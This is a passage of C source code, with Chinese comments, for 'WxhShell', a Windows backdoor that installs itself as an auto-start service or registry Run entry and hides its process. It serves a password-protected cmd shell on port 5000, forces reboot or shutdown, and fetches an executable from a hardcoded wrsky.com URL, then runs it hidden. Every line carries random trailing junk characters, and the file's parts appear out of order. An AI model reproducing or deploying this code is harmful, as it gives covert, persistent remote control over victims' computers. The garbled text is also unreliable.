    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e7-U0rrE  
    else { _di[PU=Vh  
    closesocket(wsh); Au9Rr3n  
    ExitThread(0); aPRF  
    } d+8Sypv^4*  
    break; zhS\|tI  
    } n;[d{bU  
  // 获取shell [S4<bh!  
  case 's': { uT_bA0jK  
    CmdShell(wsh); lwSA!W  
    closesocket(wsh); k/>k&^?  
    ExitThread(0); Z<`QDBN"4  
    break; 3qP! (*  
  } d4~!d>{n|c  
  // 退出 ZjWI~"]  
  case 'x': { />H9T[3=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #}o*1  
    CloseIt(wsh); }5`Kn}rY  
    break; L^dF )y?  
    } Y-v6xUc{F  
  // 离开 (m13 ong  
  case 'q': { `j9 ;9^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A2..gs/  
    closesocket(wsh); dj 4:r!5_  
    WSACleanup(); 29:] cL(5  
    exit(1); o!:   
    break; K1Mn_)%  
        } U 1vZ r{\  
  } b:2# 3;)  
  } A|7%j0T  
idEhxvAo  
  // 提示信息 /; w(1)B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 13kl\ <6  
} 1GE[*$vuq  
  } =XVw{\#9 b  
+ JsMYv  
  return; bZLY#g7L"  
} -a !?%  
xcty  
// shell模块句柄 PY[nnoF"|  
int CmdShell(SOCKET sock) 0l;TZf=H  
{ P`^nNX]x+,  
STARTUPINFO si; kZ$2Uss  
ZeroMemory(&si,sizeof(si)); @cukoLAn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]V^ >aUlj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UyENzK<%u  
PROCESS_INFORMATION ProcessInfo; ~ 6DaM!  
char cmdline[]="cmd"; ~7ZWtg;B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x.8fxogz  
  return 0; ew?4;  
} "Doz~R\\  
1R-WJph  
// 自身启动模式 7_HFQT1.N  
int StartFromService(void) ^VOFkUp)  
{ evjj~xkte  
typedef struct sFt"2TVr3  
{ l|v`B6(  
  DWORD ExitStatus; S"H djEF7\  
  DWORD PebBaseAddress; tnE),  
  DWORD AffinityMask; FF#T"y0Y  
  DWORD BasePriority; k'QI`@l&l  
  ULONG UniqueProcessId; @q]4]U)  
  ULONG InheritedFromUniqueProcessId; c^3,e/H  
}   PROCESS_BASIC_INFORMATION; iSbPOC7  
||D PIn]  
PROCNTQSIP NtQueryInformationProcess; ,+~8R"  
q#=HBSyM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5/8=Do](  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >e^bq/'  
6 dgwsl~  
  HANDLE             hProcess; y*=sboX  
  PROCESS_BASIC_INFORMATION pbi; 7vTzY%v  
z;DNl#|!L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C cPOK2  
  if(NULL == hInst ) return 0; s@zO`uBc  
(1 (~r"4I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7>"dc+Fg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /g$G G9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L>LIN 1A  
U$|q]N  
  if (!NtQueryInformationProcess) return 0; e.\dqt~%y  
<p/zm}?')  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0 30LT$&!  
  if(!hProcess) return 0; .+A)^A  
__!LTpp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D6-R>"}  
P?p]sLrP  
  CloseHandle(hProcess); ZLP/&`>8  
tq}MzKI*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ClG\Kpi rh  
if(hProcess==NULL) return 0; x ]">  
p]0`rf!|  
HMODULE hMod; JkhWLQ>o  
char procName[255]; :{+~i.*  
unsigned long cbNeeded; rGQ2 ve  
Bv<aB(c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [Do^EJ  
.' }jd#  
  CloseHandle(hProcess); O uNPDq%  
?r 0rY?  
if(strstr(procName,"services")) return 1; // 以服务启动 `WIZY33V  
, # =TputM  
  return 0; // 注册表启动 s_  t/  
} C~egF=w  
{n|ah{_p|  
// 主模块 "AU.Eh"-1  
int StartWxhshell(LPSTR lpCmdLine) nNq<x^@83  
{ l`.z^+!8@  
  SOCKET wsl; D&i\dgbK  
BOOL val=TRUE; FQJiLb._Z  
  int port=0; %N)B8A9kh  
  struct sockaddr_in door; To}eJ$8*5  
M6mgJonN|  
  if(wscfg.ws_autoins) Install(); f"RC(("6W  
yX4 Vv{g  
port=atoi(lpCmdLine); 58XZ]Mc0  
" i:[|7  
if(port<=0) port=wscfg.ws_port; q>Di|5<y  
3m= _a  
  WSADATA data; l]4=W<N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !NH(EWER  
WG A1XQ{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Da615d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2TU V9Z  
  door.sin_family = AF_INET; & XmaGtt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f";pfu_FZ  
  door.sin_port = htons(port); [I=|"Ic~  
yUj`vu 2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o3V\   
closesocket(wsl); <Y."()}GeH  
return 1; o2X95NiH  
} :`e#I/,  
N"}>);r  
  if(listen(wsl,2) == INVALID_SOCKET) { Xf_#O'z  
closesocket(wsl); Kf1J;*i|\  
return 1; {;DAKWm@T  
} gu3iaM$W  
  Wxhshell(wsl); Mh*r)B~%[  
  WSACleanup(); dzEi^* (8  
K(i}?9WD  
return 0;  tPQ|znB|  
r[4n2Mys  
} ~4khIz  
kN.;;HFq#  
// 以NT服务方式启动 jB(+9?;1${  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A+="0{P  
{ -Y@tx fu-  
DWORD   status = 0; GQ;0KIN  
  DWORD   specificError = 0xfffffff; n1J u =C  
kh9'W<tE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u Jqv@GFv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &EqLF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZA+dtEE=f9  
  serviceStatus.dwWin32ExitCode     = 0; uG^CyM>R`  
  serviceStatus.dwServiceSpecificExitCode = 0; ^#d\HI  
  serviceStatus.dwCheckPoint       = 0; AY{KxCr b^  
  serviceStatus.dwWaitHint       = 0; *mzi ?3  
< mQXS87  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LP6 p  
  if (hServiceStatusHandle==0) return; l3sF/zkH  
|]4!WBK  
status = GetLastError(); T[Zs{S  
  if (status!=NO_ERROR) HwHF8#D*l  
{ O;~e^ <*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }3^m>i*8  
    serviceStatus.dwCheckPoint       = 0; *[{j'7*cc  
    serviceStatus.dwWaitHint       = 0; H"FK(N\  
    serviceStatus.dwWin32ExitCode     = status; *{3d+j/?/  
    serviceStatus.dwServiceSpecificExitCode = specificError; lG)wa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \P*_zd@%  
    return; l)9IgJ|<b  
  } bZNqv-5 4h  
B W<Dmn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f^FFn32u  
  serviceStatus.dwCheckPoint       = 0; 7pm'b,J<  
  serviceStatus.dwWaitHint       = 0; r }lGcG)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N[p o)}hp  
} k5I;Y:~`  
[3jJQ3O,  
// 处理NT服务事件,比如:启动、停止 F{0\a;U@^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !l9{R8m>eJ  
{ pcy;]U ?  
switch(fdwControl) <{isWEW9]3  
{ jc&k-d>=G  
case SERVICE_CONTROL_STOP: !&{rnK  
  serviceStatus.dwWin32ExitCode = 0; {4D`VfX_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i)?7+<X  
  serviceStatus.dwCheckPoint   = 0; =#2c r:1  
  serviceStatus.dwWaitHint     = 0; ;cXw;$&D  
  { B n7uKa{P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J?9jD:x  
  } XVqOiv)  
  return; :~otzI4%!  
case SERVICE_CONTROL_PAUSE: LqbI/AQ)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vkIIuNdDlx  
  break; hx9{?3#  
case SERVICE_CONTROL_CONTINUE: --WQr]U/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /K#k_k  
  break; I8Aq8XBw  
case SERVICE_CONTROL_INTERROGATE: _~z oMdT!  
  break; *4}_2"[  
}; Co1d44Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VBX)xQazU  
} 0~bUW V  
Wef%f] u  
// 标准应用程序主函数 C|V7ZL>W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ; Z]Wj9iY  
{ ij ?7MP  
'XK 'T\m  
// 获取操作系统版本 g&s. 0+  
OsIsNt=GetOsVer(); N1$u@P{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,^:{!?v  
n93q8U6m/U  
  // 从命令行安装 ?{ N,&d  
  if(strpbrk(lpCmdLine,"iI")) Install(); IrMH AM5K  
 >Uw:cq  
  // 下载执行文件 )0VL$A  
if(wscfg.ws_downexe) { G?s9c0f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l =E86"m  
  WinExec(wscfg.ws_filenam,SW_HIDE); A7% d  
} lU{)%4e`  
n9B5D:.G  
if(!OsIsNt) { fpR|+`k  
// 如果时win9x,隐藏进程并且设置为注册表启动 PVIOe}N  
HideProc(); /65YHXg,  
StartWxhshell(lpCmdLine); -G(me"Cu  
} .nPOjwEx&Y  
else JOJ.79CT  
  if(StartFromService()) #EH=tJgO|J  
  // 以服务方式启动 BU:;;iV8  
  StartServiceCtrlDispatcher(DispatchTable); =W~7fs  
else ON,[!pc  
  // 普通方式启动 i#'K7XM2  
  StartWxhshell(lpCmdLine); MgeC-XQM  
|Xt.[1  
return 0; Tn&_ >R  
} #`VAw ) eV  
;z'&$#pA  
8ymdg\I+L  
BJjic%V  
=========================================== ,"EaZ/Bl/  
2lTt  
}J#HIE\RG  
]l,D,d81  
"^#O7.oVi+  
" `qk}n-  
" l77 -I:  
=A'>1N  
#include <stdio.h> b j&!$')  
#include <string.h> 2FMmANH0ev  
#include <windows.h> riIubX#  
#include <winsock2.h> 0~U#DTx0  
#include <winsvc.h> \D@j`o  
#include <urlmon.h> Z[#8F&QV!m  
2 R\K!e  
#pragma comment (lib, "Ws2_32.lib") 5i[O\@]5  
#pragma comment (lib, "urlmon.lib") 9hzu!}~'I  
Nf| 0O\+%y  
#define MAX_USER   100 // 最大客户端连接数 9^a|yyzL  
#define BUF_SOCK   200 // sock buffer Jh-yIk  
#define KEY_BUFF   255 // 输入 buffer E=I'$*C \D  
]3 "0#Y  
#define REBOOT     0   // 重启 &W\e 5X<A  
#define SHUTDOWN   1   // 关机 ?MH=8Cl1w  
`i`P}W!F  
#define DEF_PORT   5000 // 监听端口 w|f+OlPXq  
"S;4hO  
#define REG_LEN     16   // 注册表键长度 j9fBl:Fr  
#define SVC_LEN     80   // NT服务名长度 !]F`qS>  
o@)Fy51DD  
// 从dll定义API Ue}1(2.v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1S?~ c25=h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *y4DK6OFe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xm{?h,U,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P.Nt jz/B  
5gf ~/Zr  
// wxhshell配置信息 |Yli~Qx  
struct WSCFG { C?H~L  
  int ws_port;         // 监听端口 TCp9C1Q4  
  char ws_passstr[REG_LEN]; // 口令 <Y`(J#  
  int ws_autoins;       // 安装标记, 1=yes 0=no k6#$Nb606  
  char ws_regname[REG_LEN]; // 注册表键名 v?He]e'  
  char ws_svcname[REG_LEN]; // 服务名 jkk%zu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zZMKgFR@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lf=G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EB3/o7)L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f&vMv.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !KI^Z1dP(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fg`<uW]TFZ  
p*<Jg l  
}; /we]i1-9  
-53c0g@X  
// default Wxhshell configuration =X'[r  
struct WSCFG wscfg={DEF_PORT, ~i1 jh:,  
    "xuhuanlingzhe", #ft9ms#N  
    1, Qb {[xmc  
    "Wxhshell", G8}owszT  
    "Wxhshell", - +a,Ej  
            "WxhShell Service", iQO4IT   
    "Wrsky Windows CmdShell Service", "~VKUvDu  
    "Please Input Your Password: ", T={!/y+  
  1, k~ )CJ6}  
  "http://www.wrsky.com/wxhshell.exe", !60U^\  
  "Wxhshell.exe" ndFVP;q  
    }; "M:ui0YP  
\`y:#N<c  
// 消息定义模块 N8nt2r<h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >a975R*g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OG{*:1EP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =Htt'""DN  
char *msg_ws_ext="\n\rExit."; p-j6H  
char *msg_ws_end="\n\rQuit."; +&\. ]Pp  
char *msg_ws_boot="\n\rReboot..."; N_92,xI#  
char *msg_ws_poff="\n\rShutdown..."; {`):X_$T  
char *msg_ws_down="\n\rSave to "; >$ZhhM/} J  
Tv#d>ZSD  
char *msg_ws_err="\n\rErr!"; ZY<R Nwu  
char *msg_ws_ok="\n\rOK!"; jTS8 qu  
k;cIEEdZD  
char ExeFile[MAX_PATH]; iY>P7Uvvz  
int nUser = 0; >)D=PvGlmp  
HANDLE handles[MAX_USER]; Ys.GBSlHG  
int OsIsNt; .-YE(}^  
@KM?agtlbl  
SERVICE_STATUS       serviceStatus; f I%8@ :  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GJWGT`"  
0=&S?J#!  
// 函数声明 H`M|B<.  
int Install(void);  dw;<Q  
int Uninstall(void); |[~ S&  
int DownloadFile(char *sURL, SOCKET wsh); zHKP$k8  
int Boot(int flag); C[fefV9g2  
void HideProc(void); 5BA:^4zr?  
int GetOsVer(void); g(zeOS]q}  
int Wxhshell(SOCKET wsl); yf*'=q  
void TalkWithClient(void *cs); ^W sgAyCB  
int CmdShell(SOCKET sock); </'n={+q  
int StartFromService(void); 0xZ^ f}@L  
int StartWxhshell(LPSTR lpCmdLine); ^P{y^@XI  
I:t ?#)wl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^/2HH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gdCit-3  
H*G(`Zl}  
// 数据结构和表定义 }bRn&)e  
SERVICE_TABLE_ENTRY DispatchTable[] = I Tl>HlS  
{ p9jC-&:  
{wscfg.ws_svcname, NTServiceMain}, (Q*x"G#4>  
{NULL, NULL} WZ`i\s1#  
}; gaC4u,Zb  
@_t=0Rc  
// 自我安装 FI:H/e5[  
int Install(void) Zrwd  
{ T}{zh  
  char svExeFile[MAX_PATH]; y_>DszRN`u  
  HKEY key; ?#a&eW  
  strcpy(svExeFile,ExeFile); Jqzw94  
i\;ZEM{  
// 如果是win9x系统,修改注册表设为自启动 Y'000#+  
if(!OsIsNt) { :ek^M (  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y =sae  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lios1|5  
  RegCloseKey(key); ..Dm@m}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /&\ V6=jA1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pm#/j;  
  RegCloseKey(key); )a0l:jEOc  
  return 0; ;HAvor=?  
    } Q\zaa9P  
  } %7 -(c  
} ;ZuHv {=  
else { xtCMK1# x  
J;<dO7j5  
// 如果是NT以上系统,安装为系统服务 fn/?I \  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s#<fj#S  
if (schSCManager!=0) t{B@k[|  
{ dSKvs"  
  SC_HANDLE schService = CreateService 5s\;7>  
  ( B#hvw'}  
  schSCManager, ?f9M59(l  
  wscfg.ws_svcname, ]@21KO  
  wscfg.ws_svcdisp, W{J e)N  
  SERVICE_ALL_ACCESS, phG *It}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F3vywN1$,  
  SERVICE_AUTO_START, 0'f\>4B  
  SERVICE_ERROR_NORMAL, OmkJP  
  svExeFile, +5I5  
  NULL, G11KAq(  
  NULL, a~@f,bw  
  NULL, w:nH_x#C4  
  NULL, U]+IP;YS  
  NULL L8n?F#q  
  ); @r[SqGa:  
  if (schService!=0) mW{uChHP  
  { $,O8SW.O$  
  CloseServiceHandle(schService); &\ca ? #  
  CloseServiceHandle(schSCManager); ]#DCO8Vk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u(yN81  
  strcat(svExeFile,wscfg.ws_svcname); Ohj^Z&j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _\yR/W~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]%-U~avph  
  RegCloseKey(key); 4Th?q{X  
  return 0; pRh9+1EM;  
    } o "0 ~  
  } /Z]nV2$n)V  
  CloseServiceHandle(schSCManager); D^>d<LX  
} zqrqbqK5R  
} 8ZbXGQ  
1!V[fPJ  
return 1; \15'~ ]d  
} g]JJ!$*1  
Z" H;t\P  
// 自我卸载 *tT}N@<%  
int Uninstall(void) PA803R74  
{ .7 )oWd!  
  HKEY key; SIm1fC  
qZ E3T:S  
if(!OsIsNt) { A@_>9;   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~9APc{"A  
  RegDeleteValue(key,wscfg.ws_regname); jP/Vqe%%8  
  RegCloseKey(key); ;=IJHk1&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <sm"3qs"_  
  RegDeleteValue(key,wscfg.ws_regname); *w. ":\P]  
  RegCloseKey(key); ,]yS BAO  
  return 0; \"RCJadK  
  } XXX y*/P  
} ld#x'/  
} {[:C_Up)f  
else { r aOuD3  
N LQ".mM+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f U=P$s  
if (schSCManager!=0) AfhJ6cSIE  
{ aaf}AIL.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f*"T]AX0  
  if (schService!=0) M`q|GY  
  { XM+.Hel  
  if(DeleteService(schService)!=0) { i"n_oO  
  CloseServiceHandle(schService); 0+1!-Wo  
  CloseServiceHandle(schSCManager); Xu~N97\G  
  return 0; VI9rezZ*  
  } Oq% TW|a#  
  CloseServiceHandle(schService); :4 z\Q]  
  } 3QZm *. /"  
  CloseServiceHandle(schSCManager); OAiW8B Ae  
} (y?F8]TfM  
} _kRc"MaB  
p{_*<"cfYn  
return 1; JW><&hY$"  
} oL R/\Y(  
NTX0vQG  
// 从指定url下载文件 kl~/tbf  
int DownloadFile(char *sURL, SOCKET wsh) yU/?4/G!  
{ 9 4H')(  
  HRESULT hr; t\QLj&h}E  
char seps[]= "/"; $X-PjQb1Bb  
char *token; &R.5t/x_  
char *file; ORP<?SG55u  
char myURL[MAX_PATH]; G na%|tUz|  
char myFILE[MAX_PATH]; W;R6+@I[  
!hfpa_5  
strcpy(myURL,sURL); NBasf n  
  token=strtok(myURL,seps); /'.gZo  
  while(token!=NULL) ;CS[Ja>e  
  { QGOkB  
    file=token; EpRn,[  
  token=strtok(NULL,seps); QPLWRZu@  
  } hR0a5   
ud)WH|Z  
GetCurrentDirectory(MAX_PATH,myFILE); \WnTpl>B  
strcat(myFILE, "\\"); ) YwEl72c  
strcat(myFILE, file); .H M3s  
  send(wsh,myFILE,strlen(myFILE),0); E(6P%(yt8  
send(wsh,"...",3,0); *) B \M>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *re?V9  
  if(hr==S_OK) NL `  
return 0; MUZ]*n&0  
else >Ho=L)u  
return 1; RuVk>(?WK%  
"8ZV%%elp  
} [~|k;\2 +  
>oyf i:  
// 系统电源模块 bcT_YFLQ  
int Boot(int flag) YWd2bRb  
{ `)]W~  
  HANDLE hToken; XW8@c2jN\7  
  TOKEN_PRIVILEGES tkp; eLh35tw  
kR^">s/H#  
  if(OsIsNt) { MIkp4A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .eVX/6,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \fC;b"j  
    tkp.PrivilegeCount = 1; bG"FN/vg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r|ZB3L|7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $$0 < &  
if(flag==REBOOT) { b p?TO]LH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KK >j V  
  return 0; W!.FnM5x  
} }oG6XI9  
else { iNi1+sm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LzLJ6A>;R  
  return 0; ]Z\W%'q+  
} l}-k>fug  
  } ziO(`"v  
  else { fX,O9d$  
if(flag==REBOOT) { WW3Jxd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A_ &IK;-go  
  return 0; %YF /=l  
} {_.(,Z{  
else { mMZrBz7r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X#0yOSR  
  return 0; 5M'cOJ  
} 9cN@y<_I  
} $4ZV(j]  
By!u*vSev  
return 1; FVP,$  
} +&f_k@+  
,Iz9!i J"  
// win9x进程隐藏模块 tGl|/  
void HideProc(void) v_%6Ly  
{ ("}Hs[  
^fd*KM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ho/tCU|w  
  if ( hKernel != NULL ) O\;Lb[`lb  
  { 3HP { a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _a"| :kX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rDwd!Jet  
    FreeLibrary(hKernel); [{xY3WS  
  } 6.45^'t]  
<=%[.. (S  
return; uw8g%  
} pcOi%D,o  
AriV4 +  
// 获取操作系统版本 Citumc)E  
int GetOsVer(void) $X.F=Kv  
{ ?XyrG1('  
  OSVERSIONINFO winfo; }lPWA/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #<&@-D8  
  GetVersionEx(&winfo); xZ2 1i QeN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $?:IRgAr  
  return 1; .@mZG<vg  
  else s/~[/2[bnf  
  return 0; ? B|i  
} im:[ViR {  
9%ct   
// 客户端句柄模块 m^ar:mK@  
int Wxhshell(SOCKET wsl) Xu_1r8-|=b  
{ r:0RvWif  
  SOCKET wsh; Dvz 6 E  
  struct sockaddr_in client; VY~*QF~P  
  DWORD myID; =|$U`~YB  
L&NpC&>wD  
  while(nUser<MAX_USER) qx >Z@o  
{ ';v2ld 9  
  int nSize=sizeof(client); cJwe4c6.m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z9% u,Cb  
  if(wsh==INVALID_SOCKET) return 1; OH n~DL2  
:Zq?V`+M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JDnWBEV  
if(handles[nUser]==0) ~/SLGyu  
  closesocket(wsh); d1^5r 31  
else ^"/TWl>jB  
  nUser++; |yOIC,5[JW  
  } g0/ R\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $E:z*~ ?  
A9DFZZ0  
  return 0; vft7-|8T  
} SU7,uxF  
~]W @+\l  
// 关闭 socket BgCEv"G5  
void CloseIt(SOCKET wsh) ,T  3M  
{ FRPdfo37  
closesocket(wsh); TDP Q+Kg_  
nUser--; G6Wa0Z  
ExitThread(0); g;o5m}  
} TK> ~)hc}  
l!j=em@  
// 客户端请求句柄 <Z]j89wzDZ  
void TalkWithClient(void *cs) ep48 r>  
{ MbTmdRf  
z'>b)wY](  
  SOCKET wsh=(SOCKET)cs; 8193d%Wb  
  char pwd[SVC_LEN]; vPy."/[u  
  char cmd[KEY_BUFF]; yMgS0  
char chr[1]; \!>qtFT  
int i,j; ZL!5dT&@W  
Ix=(f0|  
  while (nUser < MAX_USER) { !]7L9TGn  
3dtL[aVwY  
if(wscfg.ws_passstr) { ]wbV1Y"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3<a|_(K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fx^yC.$2  
  //ZeroMemory(pwd,KEY_BUFF); l0',B*og  
      i=0; \Y:zg3q*  
  while(i<SVC_LEN) { ] TZ/=Id  
YO@~y *,  
  // 设置超时 K"Irg.  
  fd_set FdRead; G-o6~"J\  
  struct timeval TimeOut; G [yI[7=d  
  FD_ZERO(&FdRead); kOel !A  
  FD_SET(wsh,&FdRead); YB{'L +Wbw  
  TimeOut.tv_sec=8; \Q?#^<O  
  TimeOut.tv_usec=0; PEKXPF N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BH$hd|KD<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); URr{J}5  
2'ws@U}lR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YZ->ep}  
  pwd=chr[0]; raP9rEs  
  if(chr[0]==0xd || chr[0]==0xa) { FPE6H:'  
  pwd=0; [-)BI|S:  
  break; ?%Pi#%P  
  } vhU $GG8  
  i++; XzBl }4s  
    } 56Lt "Z F  
a63Ud<_a7  
  // 如果是非法用户,关闭 socket 01%0u8U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3Z}m5f`t  
} mI;\ UOh'  
NeewV=[%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W{}M${6&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H,!yG5yF  
K1- 3!G  
while(1) { sa"!ckh  
~Bt >Y  
  ZeroMemory(cmd,KEY_BUFF); xCu\jc)2  
~!Rf5QA85  
      // 自动支持客户端 telnet标准   b|.<rV'BTt  
  j=0; B-$ps=G+z  
  while(j<KEY_BUFF) { /5f=a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cdL0<J b,  
  cmd[j]=chr[0]; |Yi_|']#  
  if(chr[0]==0xa || chr[0]==0xd) { &c= 3BEh  
  cmd[j]=0; "t>H B6^  
  break; +5Y;JL<%/  
  } >+[{m<Eq  
  j++; ge{%B~x  
    } $cO-+Mr-~  
j  W -K  
  // 下载文件 clT[ ?8*  
  if(strstr(cmd,"http://")) { 'L%)B-,n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [hiV #  
  if(DownloadFile(cmd,wsh)) - l0X]&Ex  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Um5w1  
  else cw~-%%/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #<w2xR]:  
  } X&%;(`  
  else { gYw=Z_z  
$j0<ef!  
    switch(cmd[0]) { 6s:  
  q:,ck@-4  
  // 帮助 |@MGGAk  
  case '?': { Y^5)u/Y=U  
